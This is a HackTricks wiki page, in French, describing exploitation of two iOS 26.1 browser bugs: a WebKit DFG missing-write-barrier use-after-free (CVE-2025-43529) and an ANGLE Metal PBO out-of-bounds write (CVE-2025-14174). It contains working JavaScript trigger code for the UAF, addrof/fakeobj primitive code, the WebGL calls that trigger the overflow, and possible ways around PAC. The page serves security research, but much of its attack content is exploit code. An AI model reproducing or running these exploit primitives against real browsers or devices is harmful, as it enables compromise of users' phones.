WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Summary

  • DFG Store Barrier bug (CVE-2025-43529) : Dans DFGStoreBarrierInsertionPhase.cpp, un Phi node marqué “escaped” alors que ses Upsilon inputs ne le sont pas entraîne que la phase saute l’insertion d’une write barrier sur les stores d’objet suivants. Sous pression du GC, cela permet à JSC de free des objets encore atteignables → use-after-free.
  • Exploit target : Forcer un objet Date à matérialiser un butterfly (par ex. a[0] = 1.1) afin que le butterfly soit libéré, puis réaffecté comme stockage des éléments d’un tableau pour créer une confusion boxed/unboxed → primitives addrof/fakeobj.
  • ANGLE Metal PBO bug (CVE-2025-14174) : Le backend Metal alloue le PBO staging buffer en utilisant UNPACK_IMAGE_HEIGHT au lieu de la vraie hauteur de texture. Fournir une petite unpack height puis appeler un texImage2D large provoque une staging-buffer OOB write (~240KB dans le PoC ci‑dessous).
  • PAC blockers on arm64e (iOS 26.1) : TypedArray m_vector et JSArray butterfly sont signés PAC ; forger des fake objects avec des pointeurs choisis par l’attaquant provoque un crash EXC_BAD_ACCESS/EXC_ARM_PAC. Seule la réutilisation de butterflies déjà signés (réinterprétation boxed/unboxed) fonctionne.

Déclenchement de la barrière DFG manquante → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Points clés :

  • Place A dans old space pour exercer les barrières générationnelles.
  • Créez un Date indexé pour que le butterfly soit la cible libérée.
  • Spray ArrayBuffer(0x800000) pour forcer le GC et élargir la race.
  • Le mismatch d’évasion Phi/Upsilon empêche l’insertion de la barrière ; b.p1 = a s’exécute without a write barrier, donc le GC récupère a/butterfly.

Récupération du butterfly → confusion boxed/unboxed

Après que le GC ait libéré le butterfly de la Date, spray des arrays pour que la slab libérée soit réutilisée comme éléments pour deux arrays avec différents element kinds:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Statut sur iOS 26.1 (arm64e):

  • Fonctionnel : addrof, fakeobj, 20+ address leaks par exécution, inline-slot read/write (on known inline fields).
  • Pas encore stable : generalized read64/write64 via inline-slot backings.

Contraintes PAC sur arm64e (pourquoi fake objects plantent)

  • TypedArray m_vector et JSArray butterfly sont PAC-signed ; forger des pointeurs entraîne EXC_BAD_ACCESS / probablement EXC_ARM_PAC.
  • La primitive de confusion fonctionne parce qu’elle réutilise des butterflies signés légitimes ; l’introduction d’attacker pointers non signés échoue l’authentification.
  • Idées potentielles de contournement notées : chemins JIT qui sautent l’auth, gadgets qui signent attacker pointers, ou pivot via l’ANGLE OOB.

Sous-allocation ANGLE Metal PBO → OOB write

Utilisez une très petite unpack height pour réduire le staging buffer, puis uploadez une large texture afin que la copie déborde :

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Remarques:

  • Bug dans TextureMtl.cpp : le staging buffer utilise UNPACK_IMAGE_HEIGHT au lieu de la hauteur réelle de la texture sur le chemin PBO.
  • Dans la sonde référencée, le déclencheur WebGL2 PBO est mis en place mais n’a pas encore été observé de façon fiable sur iOS 26.1.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks